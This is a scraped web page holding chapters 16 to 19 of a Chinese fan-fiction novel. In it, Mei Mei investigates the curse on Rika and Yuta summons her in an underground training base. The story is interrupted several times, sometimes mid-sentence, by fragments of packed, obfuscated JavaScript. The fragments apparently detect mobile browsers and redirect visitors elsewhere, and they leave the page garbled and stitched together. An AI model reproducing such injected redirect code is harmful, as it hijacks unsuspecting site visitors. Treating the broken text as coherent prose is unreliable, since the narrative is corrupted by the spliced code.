l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14183386|149662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我不知道……” 一直安静旁听的日野望突然问了一句:“这种情况很多吗?我是指人类死后变成诅咒这样的事情。” 冥冥:“不多,但也存在案例。一般来说,人类死后变成诅咒的情况有三种。” “其一,咒术师死亡后的尸体没有经过特殊处理,可能会从尸体上诞生出新的诅咒。不过里香没有术师天赋,所以她不属于这种情况。” “其二,人体吞下咒物后被里面的诅咒受肉成功。如果乙骨君能确定里香死前没碰过任何可疑的咒物,那么这种情况也排除。” “其三,被‘什么’给诅咒了。发动诅咒的可能是术师,可能是咒灵,也可能是特别的咒物。诅咒有可能是即时发作的,也有可能是延时发作的。如果是后者,那么车祸之前的任何时间都有可能中招。” 听到最后,乙骨忧太的眼睛猛地睁大。 一时间,他满脑子都是“里香可能被什么诅咒了”的猜测。 这句话如一记撞钟,敲得他头晕目眩,意识也仿佛坠入无尽深渊,被无形的黑暗吞没。 日野望揉揉乙骨忧太的脑袋,强行打断他的自闭状态。 然后日野望对冥冥说:“我虽然也调查过当年的事情,但我毕竟不是咒术师,可能会遗漏一些细节。能不能将这件事委托给你呢?” 冥冥比了个“加钱”的手势。 早有准备的日野望递出了一张卡。 “这是订金。” “OK~我会尽快调查出结果给你回复。”冥冥心花怒放,看都没看爽快收下。她相信这名大客户不会在这种事情上糊弄她。 三言两语敲定一桩新的交易,过程丝滑得像在切融化的黄油。 “哥哥……”目睹一切的乙骨忧太欲言又止,愁眉不展。 日野望抬手摁在他紧锁的眉心上:“经常皱眉以后会老得很快哦。” 乙骨忧太无语。 “好了,哥哥自己赚的钱,想怎么花是我自己的事,小孩子别管。” “……” 乙骨忧太忍了忍,还是没忍住嘟囔:“我不是小孩子了……” “等你能独当一面再说吧。现在的话,有哥哥在呢。” 现在有哥哥在,所以没关系,那以后呢? 比起独当一面,他更想有哥哥陪在身边。 可哥哥会一直陪在他身边吗? 如果成长的代价是再次变得孤独,那他该怎么办? 乙骨忧太张了张嘴,最终还是将想说的话全部咽了回去,闷闷地“嗯”了一声。 16.第 16 章 冥冥提出要看一下里香,试试能不能从诅咒本体追根溯源。 乙骨忧太挠头:“可是……我没办法控制里香。” 冥冥却说:“你没主动召唤过她吧?” 乙骨忧太点点头。 冥冥:“我把‘帐’放下来,你试试能不能主动把她叫出来。” “‘帐’?” “非术师看不到的,用以隐蔽以及引出咒灵的结界。换句话说,结界范围内的动静再大,也不会引起非术师的注意。” 日野望问出关键:“不过反过来,在码头这边落下‘帐’,是有被咒术界人士发现的可能吧?” “确实,不过我可以跟他们报备说我接了私活,而雇主要求保密。这种事情很常见。”她露出个意味深长的笑容。 “诅咒诞生自人体的负面情绪,被诅咒纠缠的人,并不缺少秘密。” “以往我接触过的雇主们,大部分都觉得和‘异常’牵扯在一起不是什么体面的事情。尤其是对一些看起来光鲜亮丽的人而言,面子和名声可是很重要的。” “所以这种理由很好通过。” 日野望思索一番,还是觉得稳妥些比较好。晚一点被咒术界发现,乙骨忧太就有更多时间来做准备,将来也有选择的余地。 “还是去地下吧。”他的脚尖点了点地,轻描淡写地说,“这下面有一个训练场,应该比东京巨蛋球场要大些,你觉得如何?” 冥冥有些惊讶,两个年纪小些的男孩子更是张大了嘴巴。 乙骨忧太忍不住嘀咕:“仙台港地下竟然有这么大一个训练场,什么时候建造的,怎么没听说过?” 他可是本地人啊!在仙台生活了十几年,一点动静都没听说过你敢信? 日野望含糊地说了一句:“很早了。” 还是他父亲奉命选址建造的。 见他没有多说的欲望,冥冥也不追问,只是说:“我这边没问题,只要你不担心造成太大破坏就行。” “这地方也算是半废弃了,拿来废物利用一下没什么大不了的。” 日野望不在意地摆摆手,说完就准备领他们去地下的训练场。 “等等……”乙骨忧太犹豫了一下,看向年幼的忧忧。 里香跑出来的话,多少有些危险。他当然不是信不过冥冥的实力,毕竟是日野望请来的专业人士。他担心的是,忧忧这么小的孩子,要是被里香的攻击波及到怎么办? 冥冥微微一笑,乙骨忧太给弟弟释放的善意她心领了。 “哼哼~” 忧忧摇了摇手指,一脸神气地说:“我当然有自保的手段啦,否则不是拖姐姐的后腿嘛?你就别操那么多心了。” “好吧……” 一行人在日野望的带领下走入地下通道,很快抵达301基地的大门前。 日野望抬手按在门边触控屏上。 “滴。” “身份已确认,欢迎回到301基地。” “基地!好酷!”年幼活泼的忧忧顿时睁大了眼睛,好奇地问乙骨忧太:“刚才那个声音是谁?不是说废弃了吗?里面还有人吗?” “刚才那个是基地电子管家的声音。基地里面的话……应该没人吧?我也是第一次过来这边,不太清楚。”乙骨忧太不太确定地说。 “电子管家?你是说人工智能吗?” “大概?” “哇哦~”高科技哎! 沉重的金属大门从中间打开,率先进入众人视野中的,是一个双层的地下停车场。 这里停的车并不多,停在最前面的是辆白色的丰田小轿车和黑色商务车,看起来平平无奇,十分低调。 忧忧有些失望:“还以为能看到很多有趣的东西呢……” 让人觉得有趣的东西当然有,只是被他提前藏起来了,还会留下来给不相干的人看?想的倒是挺美。 日野望心中呵呵道。 冥冥四下观察,笃定地说:“应该还有其他通道吧?”而且不是一两个,至少还有三个,应该是方便基地人员四散撤退。 从这个停车场来看,这个基地的规模绝对不小,如今却是说废弃就废弃了。 这个少年到底是什么来头? 日野望坦然承认了通道不止一条,只简单解释了一句:“从这边进比较低调,不会惹人注意。” 穿过整个停车场,他们看到了两座电梯,数字标记分别为3号和4号。 也就是说,除了面前这两座外,至少还有1号和2号电梯。 日野望带他们走到3号电梯前,抬手按在旁边的触控板上,再次进行身份确认。 “滴。” 电梯大门打开,一行人走进去,冥冥的乌鸦们也呼啦啦飞了进去。好在电梯内部足够宽敞,容纳四个人加一群乌鸦也不见空间局促。 电梯操控面板上只有五个含数字的按钮,B01到B05。然而日野望一个都没按,而是开口发出指令:“301,到B08层。” “声纹确认,指令确认。电梯启动,即将前往B08层,请稍等。” 乙骨忧太好奇地问:“咦?不是只能到地下五层吗?” 日野望解释说:“上面的按钮都是摆设,按上去只有一个下场。” “什么?” “Boom——”日野望五指张开做了个爆炸的手势。 “!” 忧忧两眼发光:“好酷!” 乙骨忧太瞳孔地震,看电梯上的数字键不亚于看定时/炸/弹的控制按钮。 之前日野望有说,这里会是他进行训练的地方,要是他哪天一没留神记错了步骤怎么办? 乙骨忧太忍不住咽了下口水,在心里反复提醒自己绝对不能弄错。 欣赏完乙骨忧太的表情,日野望这才懒洋洋地说:“开玩笑的,那些危险品已经被拆除得差不多了。不过电梯设定的程序没有改,只要按了按钮就会被锁死在里面,到时候可别指望我来修电梯。” “……”被拆除了?那还好。 乙骨忧太肉眼可见地放松下来。 “顺带一提,因为要避开地下的公共设施,基地的形状有些拼凑。每座电梯对应不同的功能区,能够到达的具体楼层不一样。指令错误,电梯同样会被锁死。记住了,忧太。” “嗯。” 冥冥忍不住感叹:“没想到仙台地下竟然还有这样一个基地。” 日野望摆摆手,不以为意地说:“一个废弃方案罢了。” 见他不肯多说,冥冥也收起试探的心思。 这个世界上身负秘密的人多了去了,她可不想为了满足不值一提的好奇心而开罪大方的客户。反正日野望不是咒术师,不归咒术界管。 很快,电梯到达B08层。 门一打开,他们先看到一个长长的走廊。 沿着走廊,路过休息室、更衣室、淋浴间、医疗室,他们终于抵达了训练场。 训练场是自动门,人走到面前就自动打开了。 入眼就是一个特别宽敞的房间,日野望说这里比东京巨蛋球场还大,真的是一点都没夸张。 “哇——” “还有回声!” 没理睬两个幼稚的男孩子,日野望问冥冥:“怎么样?施展得开吗?” “可以。” “那就开始吧。” 日野望吹了个呼哨,原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196200|149662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本站在乙骨忧太肩膀上的Picci振翅飞到空中。 冥冥往训练场里面走了一段距离。乌鸦们簇拥在她身边,高高低低地飞着。原本还在观察训练室的忧忧回过神,哒哒哒跟了上去。 乙骨忧太忽然有些紧张,下意识地扭头去看日野望。 日野望将手放在他背上,说:“一起过去吧。” “嗯。” 乙骨忧太从这只手上汲取到了无形的力量。这股力量源源不断地传递过来,给予他支撑,扫除了他的不安与忐忑,并让他坚定决心,勇敢地朝未知的前路迈出了脚步。 “出来吧,里香。” 这是第一次,乙骨忧太主动呼唤里香现身。 而那个变成诅咒后十分偏激、攻击性极强的里香,真的回应了他的呼唤。 “忧太——” 咒力如墨般漆黑,浪潮般澎湃,似连接了无底深渊般磅礴,张牙舞爪地往四周铺展。力量搅动气流,在地下室中刮起了凌厉的风。 强风吹开了挡在眼前的头发,冥冥的表情有一瞬间的僵硬,手上动作却不慢,飞快地在训练室里套了一个“帐”。 黑色的半球形结界落下,室内光线陡然昏暗许多。 看着乙骨忧太身后,渐渐显露出庞大身躯的咒灵,冥冥的脸上滑落一滴汗水。 “这可真是……不得了啊。” “忧太——!!!” 特级过咒怨灵祈本里香,第一次完全显现! “这种程度,绝对是特级吧?!” 忧忧额冒冷汗,忍不住朝姐姐身边凑得更近。 “没错。”冥冥点头肯定了忧忧的猜测,“而且还不是一般的特级。” 特级她也不是没宰过,然而之前那些比起眼前这个家伙,根本算不上什么。 忧忧揪住姐姐的衣角,目露征询地看着她,似乎再说“要不我们跑吧?这次的委托金不赚也罢!” 冥冥“看”了一眼在半空中盘旋的白鸽,摸摸他的头说:“不急。” 忧忧叹了口气。 “特、特级?!”那边,听到姐弟对话的乙骨忧太震惊。 此前日野望有向他科普过咒术界的一些常识,自然知道特级意味着什么。 想他小时候被一些低级咒灵(日野望推测最多四级)吓得闭眼跑路,万万没想到十岁之后每天都跟特级咒灵待在一起。 “被这种等级的咒灵纠缠,他究竟是怎么活下来的?”忧忧脸上的表情不断变幻,最终定格在了无语上。也不知道这孩子小小年纪哪来那么丰富的表情。 显现出原形的里香第一时间找到了日野望。 她知道,这段时间都是日野望陪在乙骨忧太身边。乙骨忧太亲近他、依赖他、喜欢他,脸上展露的笑容全都是因为他……这让独占欲很强的里香觉得很嫉妒! 变成咒灵后,属于人类里香的意识几近无存,理智更是支离破碎。从负面感情中诞生的诅咒,生前浓烈的感情被无限放大,使得她越发疯狂扭曲。 每次她想出来都会被日野望的力量“冻”住,根本没办法将他从乙骨忧太身边驱逐,这让她很不爽、超级不爽! “杀了你——!” 无视了冥冥忧忧两姐弟,里香直接朝不远处的日野望扑杀过去! “里香,不要!!!” 温暖明亮的橙色火焰照亮了昏暗的训练室。 “白凤。” 日野望淡漠的声音传递到所有人的耳边。 伴随一声清越的凤鸣,只存在于神话中的美丽生物翩然现身。 洁白的尾羽上燃烧着橙色的火焰,沿着飞行的轨迹,在空中拖出长长的流光,绚烂瑰丽得不可思议。 17.第 17 章 火光煌煌,衬得那张如玉的面庞越发冷漠,像冰雕雪砌的一般。 乙骨忧太似被冻住,整个人如坠冰窖。 那瞬间,他脑中闪过许多杂乱的画面和想法。 他好像看到了幼时与日野望朝夕相伴的旧日片段,又看到了这些日子与日野望相处的快乐时光。 突然地出现在雨中小巷,朝自己伸出了手; 在书房握着自己的手,邀请自己去旅游,看看外面的世界; 陪着自己回家,缓和了自己与家中的关系; 找来咒术师,帮助自己解决里香身上的问题; 和自己晨起跑步,一起看海上日出,山间晨雾; 半跪在自己面前,边指点边给他按摩热敷…… 以往他总觉得仙台的天是灰蒙蒙的,就跟他的内心一样。夏日的阳光再烈,也驱不散他心中的阴霾。 可日野望回国不到一周,他却感觉自己已经有了好多数不清的快乐回忆。这些日子过得色彩斑斓,轻而易举地覆盖了过去几年的孤独与苦闷。 夜里躺在床上,他都在想这是不是一场美梦,一旦醒来就会化作泡沫。 他像只准备冬眠物资的小松鼠,从日野望那里一点一点地收集着能让他顺利度过凛冬的物资。哪怕这些东西已经填满了树洞,他依旧不满足地想要填满第二个、第三个……乃至更多储备基地。就是担心,这个给予他援手的人会再次突兀地消失在他生活中,而且再也不肯回头。 乙骨忧太不知道日野望会在国内待多久,虽然两人约定了暑假要去旅游,但他们心里都清楚,日野望是不可能一直留在仙台的。 他很珍惜现在的日子,时常觉得自己被劈成了两半,一半快乐得冒泡泡,一半又在惶惶不安。 现在的快乐是短暂的,是让人患得患失的,所以乙骨忧太这些日子拼命锻炼自己,想要趁这段时间尽可能地走到他身边去。 只有这样,他才不会被单方面地抛下。 如果一个人从不曾体会过陪伴的温暖,那他能够忍受孤独,甘愿在孤冷的寒夜中沉寂。 可如果一个人曾经拥有过,却在某天猝不及防地失去了一切,那他一定会疯的。 乙骨忧太就是那个经历了失去、拥有、再次失去、再次拥有的倒霉蛋。 小时候有日野望陪着他。日野望突然出国了,还有新认识的里香陪着他。 里香车祸去世变成了诅咒,无差别地排斥着任何亲近靠近他的存在,连亲身妹妹都不例外。 这回乙骨忧太终于孤零零一个人了。却没想到,日野望回来了。 日野望可以无视里香的威胁与敌意,照常与乙骨忧太亲近玩笑。他还带了满身的秘密,为乙骨忧太推开新世界的门,带他看到了神秘多彩的世界。 他的出现,让乙骨忧太再次看到了希望的火光。 那簇火焰在冬夜里是那样耀眼和温暖,明知道靠近会被灼伤,乙骨忧太也舍不得与之保持距离。他甚至想要更进一步,将那团火焰紧紧抓在手中。 可如果,如果因为他的靠近,这团火焰被掐灭了呢? 他该怎么办? 杂乱无章的想法化作烟雾消散,定格在脑海中的,是妹妹倒在血泊中的画面。 渐渐地,妹妹的身影开始变化扭曲,最终变成了日野望的模样。 那双深蓝的眼睛失去了光彩,再也倒映不出他的身影。 与他在一起的快乐时光如同泡沫般破碎,他的世界开始崩塌。 暴雨从破裂的天空中倾泻而下,要他与那片死去的大海一起消失在昨日旧梦里。 “——” 不行。 不可以。 不允许。 乙骨忧太排斥那样的画面,抗拒那样的未来。 脖子和手背上的青筋暴起,咒力在他的体内沸腾,无形而恐怖的威慑降临在这片空间中。 “住手……” “我说,让你住手!!!” 训练室的空气凝滞了。 发起攻击的里香僵硬在半空中,准备好迎击的白凤也收敛了火焰。 一时间,训练室安静得只能听到少年急促的喘息声。 所有人的视线都落在了他身上。 他的头发汗湿,脸色苍白如纸,墨绿的眼睛里纳不进一丝光亮,浓稠如墨的咒力缠绕在他身上,阴郁得像个刚从井里爬出来的男鬼。 “咕噜。” 忧忧咽了下口水,抓着姐姐的衣角躲到了她身后。 “里香,回来。” 乙骨忧太声音冷硬得像是在发布命令。 让冥冥他们感到意外的是,里香还真的听话了。 “呜……忧太……” 里香像个做错事的孩子,慌慌张张地回到乙骨忧太身边,一边掉眼泪一边无措地说:“不要生我的气……不要讨厌我……” 她甚至道歉示弱了! 冥冥惊讶极了。 乙骨忧太不是说,他没办法控制里香吗? 那么现在又是什么情况? 一时间,她的脑中闪过诸多想法。 日野望同样沉默地旁观并思考着。 他们都在观察,想要通过乙骨忧太和里香接下来的举动,验证新一轮的猜测。 白凤和Picci在头顶无声盘旋,警惕着随时可能发生的状况。 “忧太……不要生气,不要讨厌我……” 里香庞大的身躯佝偻着,像闯了祸的小孩子,局促不安地低头认错。咒力形成的泪水大颗大颗地往下砸,在落到地板上之前,又散为咒力回到了她身上。 乙骨忧太苍白僵硬的脸上露出一个微笑。 他说:“我没有生你的气,也没有讨厌你。” “真的吗?” “真的。” 乙骨忧太摸摸她的头。 里香立马止住泪,肉眼可见地高兴起来了。 ……真的很好哄。 旁观的三人心想。 到底谁拿捏谁啊? “回去吧。” “嗯!” 于是里香真的消失了。 眼看一场冲突被乙骨忧太化解,日野望摸摸下巴,突然觉得事情有趣起来了。 乙骨忧太做了一个深呼吸,想要放松自己,让紧绷的肌肉和神经舒缓下来。 他成功了,却也露出了明显的疲态。 日野望敏锐地察觉到他的情绪不对劲,看样子又要自闭了。 他上前几步走到乙骨忧太身前。 走近了看,乙骨忧太脸上没什么血色,脆弱得好像快要碎掉。 “抱歉,我……” 他刚想对日野望道歉,后者的手已经绕过他的肩,将他半搂在怀里。 “没事,这不是什么都没发生嘛。” 日野望揽着他夸赞道:“而且,我们现在对里香的诅咒有了些新的想法,说不定能顺利找到突破口。做得好,忧太!” 得到表扬,乙骨忧太的情绪却高昂不起来,还觉得有些心酸。 他抿着嘴,低头好像在看日野望西装外套上的暗纹,视线却没有聚焦。 “放心,我不会因为靠近忧太而受伤,也不会因此与忧太划清界限。” 乙骨尤奈的遭遇,她的无力和遗憾,绝对不会在日野望身上上演。 日野望很清楚乙骨忧太钻了怎样的牛角尖,一边摸摸头顺毛,一边在他耳边说:“我有信心,因为我有自保的手段,我也相信我自己的判断。换句话说,我信任我自己。” “不过现在,我也可以相信忧太,因为忧太做到了,不是吗?” “不要担心,哥哥会陪着你的。” 乙骨忧太将头靠在日野望的肩上,在他怀里哽咽着“嗯”了一声。 日野望不急着催他起身,等他整理好情绪再说。 这个年纪的青少年还是要面子的,在亲近的人面前怎么样都好,在外人面前哭鼻子就会不好意思了。(当然,彭格列雷守那样的爱哭鬼不算在内。) 乙骨忧太这会儿情绪上头想不起来这茬,等回过神,肯定会觉得尴尬。 这么想着,日野望一抬头,邻家大哥哥的温柔尽数收敛,无声而礼貌地看向冥冥两姐弟,朝门边做了个手势。 请。 意思不言而喻。 忧忧:“……” 冥冥笑呵呵地比了个“OK”的手势。 一走出训练室,忧忧忍不住发牢骚:“这两兄弟变脸可真吓人。” 冥冥摸摸弟弟的头,笑而不语。 Picci去给姐弟俩带路,白凤则留下来陪日野望他们。 过了一会儿,乙骨忧太整理好情绪,注意到日野望的西装外套被他哭湿了一片,表情赧然。 日野望不甚在意地拍拍他的肩,说:“情绪好点了?” “嗯……”乙骨忧太脸上微红,明显有些不好意思,“冥冥小姐他们呢?” “我让Picci带他们先去休息室了。” “哦……”好尴尬。 “这有什么,谁没哭过呢?哭一下就当排解情绪了。我还认识一个只比你大一两岁的男孩子,哭起来跟水漫金山似的,也没谁会笑话他。” 乙骨忧太有些好奇:“谁?哥哥的朋友吗?” “一只蠢牛。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14200395|149662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”日野望面露嫌弃,“算半个同事,以后有机会再介绍你们认识。” “哦。”不是男孩子吗?怎么又是蠢牛了呢?难道是外号? 乙骨忧太不动声色地记在心上。 白凤拍打着翅膀飞到他们身边,停在了日野望的肩上。 凤鸟通体洁白,除了尾羽燃烧着橙色的火焰外,只有一双眼睛是蓝色的。 那双眼睛的颜色比日野望的浅些,跟雨属性火焰的颜色差不多,明亮而剔透,镇静而温柔。 乙骨忧太的注意力瞬间被吸引了过去,对有着美丽外表的神话级生物赞叹不已:“哇,真漂亮。” 白凤高傲地仰着头,发出清越的鸣叫声。 “声音也好听。” 白凤给了他一个眼神,好像在说“你小子有点眼光”。 “是叫白凤吧?你好,我叫乙骨忧太,请多指教。” 白凤屈尊降贵地低下头,行了个像模像样的绅士礼,算作打招呼了。 得到认同的乙骨忧太露出笑容。 “白凤也是哥哥的伙伴吗?” 日野望被问住了,慢了半拍才回答:“……算是吧?” 对这个回答并不满意的白凤叨了日野望一下,气哼哼地回到匣子里去了。 “啊,生气了。” “没事,又不是第一次了。” “……”这样不太好吧? 属于白凤的大空匣子,外观的风格意外地与白凤不符。匣子表面绘制了一个白发的卡通小丑,是乙骨忧太之前在书房里见过的四个匣子之一。 他还注意到,那枚当项链挂在脖子上的大空戒指也被日野望戴在了食指上。 “所以哥哥也具有大空属性的火焰吗?” “嗯。” 日野望对这个话题兴致不高,乙骨忧太就没追问了。 他细心地发现,同样是匣武器,日野望对Picci和白凤的态度就很不一样,也不知道是为什么。 不过他知道,日野望想说的话,自然不会隐瞒。就算他很好奇,现在也不是探究这些秘密的时候,只默默地记下来,留待以后。 他现在的目标,还是要放在提高自己的实力上面。 从训练室出来,日野望让乙骨忧太去淋浴间洗漱收拾一下自己。 “洗浴用品和换洗衣服都有,今天刚买的,放在贴了你名字标签的柜子里,你看着用。” “哥哥呢?” “我去休息室和冥冥小姐聊一下,总不能把客人晾在一边不管吧?” “哦。” 把乙骨忧太撵去淋浴间,日野望抬脚朝休息室走去。 饮料点心、打发时间的杂志、游戏设备等,休息室里该有的都有。 日野望进门的时候,姐弟俩一个翻杂志,一个玩游戏,悠闲自在。 “那孩子冷静下来了?” “嗯,洗漱去了。” 日野望给自己泡了杯咖啡,在冥冥对面的沙发上坐下来,开门见山地说:“聊聊刚才的发现吧。” 冥冥放下杂志,并不意外日野望会这么说。因为他大概也发现了,甚至是乙骨忧太这个当事人,同样有所察觉。 “里香的诅咒,排除了咒灵作祟和诅咒受肉,那么就剩下被术师诅咒这一种可能。” 这个大方向之前就确定下来了。 “一开始我们的目标是,排查当时可能出现在车祸现场附近的术师,或者车祸之前可能接触过里香的术师。” “但是……” 日野望点头,补充了后面的猜测:“现场还有一个术师。” “对,就是乙骨忧太本人。” 乙骨忧太诅咒了里香。 这种情况,日野望和冥冥当然有过猜测。 但这只是其中一种可能,初时两人都认为概率并不大。 毕竟乙骨忧太那个时候才十岁,根本不知道诅咒是什么,将一个死去的小女孩强行诅咒成咒灵留下来,难度相对来说太大了。 所以他们调查的重心还是放在了其他术师身上。 可在训练室里见识过乙骨忧太喝止里香,以及他身上涌出的、与里香身上同调同源的咒力时,两人就将原本的设想给推翻了。 日野望思索片刻,向冥冥确定:“有多少把握解咒呢?” 冥冥摊手:“这得看他本人了。毕竟,他才是施咒者。” “……” “不过,我可以向你推荐一个人。那家伙有一双好眼睛,说不定能看出更多东西来,给乙骨君提供一些有效的帮助。” “谁?” “当代咒术界第一人,特级咒术师五条悟。” 18.第 18 章 五条悟这个名字,日野望当然听说过。 应该说,知道咒术界的人,应该没人不知道五条悟。 高知名度意味着高关注度。换句话说,他的一举一动都被咒术界关注着。 日野望想要避开咒术界的视线,私下联络对方,这不是不行,但绝对没有联络冥冥要方便。 再加上,对方很强,甚至是咒术界最强。 虽然日野望没和咒术界打过交道,但想想都知道,能在一个满是天才和怪物的超自然领域登顶最强,并且压得同代咒术师冒不出头,五条悟绝对不是什么好相与的人。 日野望不想度个假还给自己上难度,再加上对里香的诅咒预估有误,所以没有选择联络这位咒术界最强,而是找来了冥冥帮忙。 如今情况有变,看来是避不开这位了。 日野望在心中叹气。 “我知道了,之后我会联络五条先生的。” 冥冥:“需要我帮忙吗?” “不用,我有渠道。” 冥冥扬眉,完全出于好奇地问:“那为什么一开始不联络他呢?你既然知道他的名字,不难知道他还是这个领域的权威吧?” “我不否认这一点,但我同样觉得,权威也意味着数不清的麻烦。” 日野望给出自己的答案。 “我没有接触过五条先生,所以我对他只有一些片面的认知,也只能发表一点浅薄的看法。” 冥冥做了个“请”的手势。 “据我所知,五条先生出自咒术界御三家之一,甚至是一家之主。但他本人有着改变咒术界格局的想法,想要培养志同道合的伙伴,所以选择了教育,如今在东京咒术高专任教。” 冥冥惊讶:“看来你知道的不少。”说什么片面的认知,简直谦虚了。 日野望看了她一眼。 冥冥做了个闭嘴的手势,示意他继续。 “我们都知道,这条路不简单。咒术界延续千年,各种势力盘根错节,牵一发而动全身。五条先生想要挖了他们的根基,抢了他们早已划分好的蛋糕,可想而知遭到的阻力有多大。” “他是最强,无数站在山脚下的人仰望他,也无时无刻不想将他拉下山巅,这是人类的劣根性,我们不能否认。” “他身上汇集了无数目光,一举一动都受到关注。他只要存在,就是一座无人可翻越的高山,无数人赞美他,无数人诋毁他。因为他是最强,翻手为云覆手为雨,所以可以不用在意蝼蚁们的看法,无视他们的敌视和针对,一力破万法。但……他身边的人不行。” 冥冥了然。 “我对五条先生没有什么意见,对咒术界当前和未来的格局也没有什么看法。说白了,你们咒术界内部打死打活都不关我的事,因为我是彻彻底底的局外人。但忧太的事情是例外。” 日野望看着杯中的咖啡,缓缓道出自己的考虑。 “忧太具有术师天赋,年岁也合适,未来大概率会进入咒术界学习。京都是御三家的地盘,我大概会建议他选择东京校。无论他有没有和五条先生提前接触,都有可能成为五条先生的学生。” “但‘学校分派的教师’和‘咒术界引路人’的分量明显不一样,后者会很大程度影响到忧太的选择,以及咒术界人士对他的看法。” “如果忧太在了解所有情况后,依旧选择站在五条先生那边,成为后者的同伴,那么我尊重他的选择,不做干涉。” “但我不想他一无所知地去上个学,莫名其妙地被打上了‘五条派’的标签,受到咒术界旧势力的针对。那些人没办法对付五条悟,不代表他们没办法对付五条悟的学生。” “这就是我的顾虑。” 冥冥沉默片刻,莫名感同身受。她不由得看向专注玩游戏的忧忧,叹了口气说:“真是爱之深则为之计深远。” 日野望笑了笑:“谁让我们是年长的一方呢。” - 淋浴间里水声哗哗,雾气四溢。 乙骨忧太站在花洒下发呆。 温热的水流冲刷着他的身体,带走了缠绕在身上的丝丝凉意。 【里香看不见诅咒,不具有术师天赋。这样就排除了咒术师死后尸体诞生出诅咒的可能。】 【车祸发生前,里香没接触过任何奇怪的东西,排除了受到咒物影响的可能。】 【现场没有发现诅咒的痕迹,排除了咒灵作祟的可能。】 【现场没有发现形迹可疑的人,术师亲临现场作案的可能性也很低,那就是远程作案或者延时作案……】 【等一下……】 【当时待在车祸现场的术师,不是还有一个人吗?】 不愿回忆的车祸现场,年幼的男孩看着倒在血泊中的青梅,不知所措的恐慌、即将失去的害怕、想要挽留的欲望……强烈的负面情绪如同诅咒一般占据了他的大脑。 【不要死……】 【不要死。】 【不要死!】 然后潜藏在血脉中的力量真的回应了他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14254180|149662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诅咒里香从青梅破碎的尸体中爬了出来。 淋浴间的水流声戛然而止。 乙骨忧太换好衣服从隔间出来。看见放在衣篓中的戒指吊坠,他沉默地拿起来,戴在了脖子上。 他心事重重地来到休息室外,自动门在他面前打开。 此时,日野望和冥冥的谈话进入尾声。 “之前的委托内容不变,调查其他术师的事情就拜托你了。如果可以的话,请尽快给我回复。” “了解~” 听到门口的脚步声,两人不约而同地看了过去。 乙骨忧太换下学生制服,穿着简洁的白T恤黑长裤,额前的湿发拨到一边,露出光洁的额头,加上那副面无表情的样子,看着就比之前冷峻成熟。 不过这样的状态并没有维持多久。 当他的视线锁定在日野望身上,明明表情没多大变化,给人的感觉却肉眼可见地柔和了许多。 坐在沙发上的少年坐姿端正,剪裁妥帖的小马甲勾勒出迷人的腰线,纤细却不纤弱,像一株笔直挺拔、生机勃勃的白杨。 当他看过来,将注意力集中在自己身上时,那蓬勃的生命力好像也跟着传递过来,驱走了浸在骨缝里的最后一丝阴冷。 “结束了吗?” 乙骨忧太脚步轻快地走到日野望身边,挨着他坐了下来,乖巧温顺得像一只粘人的小狗。 日野望扫了一眼他的头发,想着找个时间带他去理一理,嘴上不忘回答:“我和冥冥小姐商量得差不多了,现在轮到你了。” “嗯?” 乙骨忧太面露好奇。 “关于里香的解咒问题,冥冥小姐向我推荐另外一名咒术师。这位咒术师虽然厉害,但是平时很忙,预约需要一点时间。这期间,冥冥小姐会对当年的车祸进行详尽的调查。” “两者都需要时间,这事急不来。” “所以你放学后的时间,我想请冥冥小姐抽空担任忧太的家庭教师,给你讲讲咒术界的常识和咒术师的基础。如果时间允许的话,再传授你一些战斗技巧和经验。你觉得如何?” 乙骨忧太眼睛一亮:“可以吗?” 冥冥笑呵呵地说:“当然,毕竟雇主加钱了嘛。” “那什么时候开始呢?” “现在就可以。”冥冥看了一眼时间,还不到晚上十点,“听说你现在已经开始训练了,那么我先讲一点和训练相关的内容,争取在十一点前结束。” “好的!” 19.第 19 章 冥冥小讲堂开课啦! 乙骨忧太对咒术界和咒术师的了解统统来源于日野望,而日野望本人不是咒术师,玩的是与咒力不同的另一种力量体系,对咒力的理解自然与咒术师不大一样。 冥冥简单问了几个问题,摸清了乙骨忧太的底子,思索一番决定从最基础的讲起。 咒力没什么好说的,她主要讲解的是术式。 “术式与咒力的关系,打个比方,类似与电器与电力。不同的电器具有不同的功能,而给电器提供能量,使之正常运作的就是电力了。” 这个例子简单明了,乙骨忧太一下就听懂了。 “就比如,我的术式是黑鸟操术。顾名思义,就是操控黑鸟,也就是乌鸦的能力。” 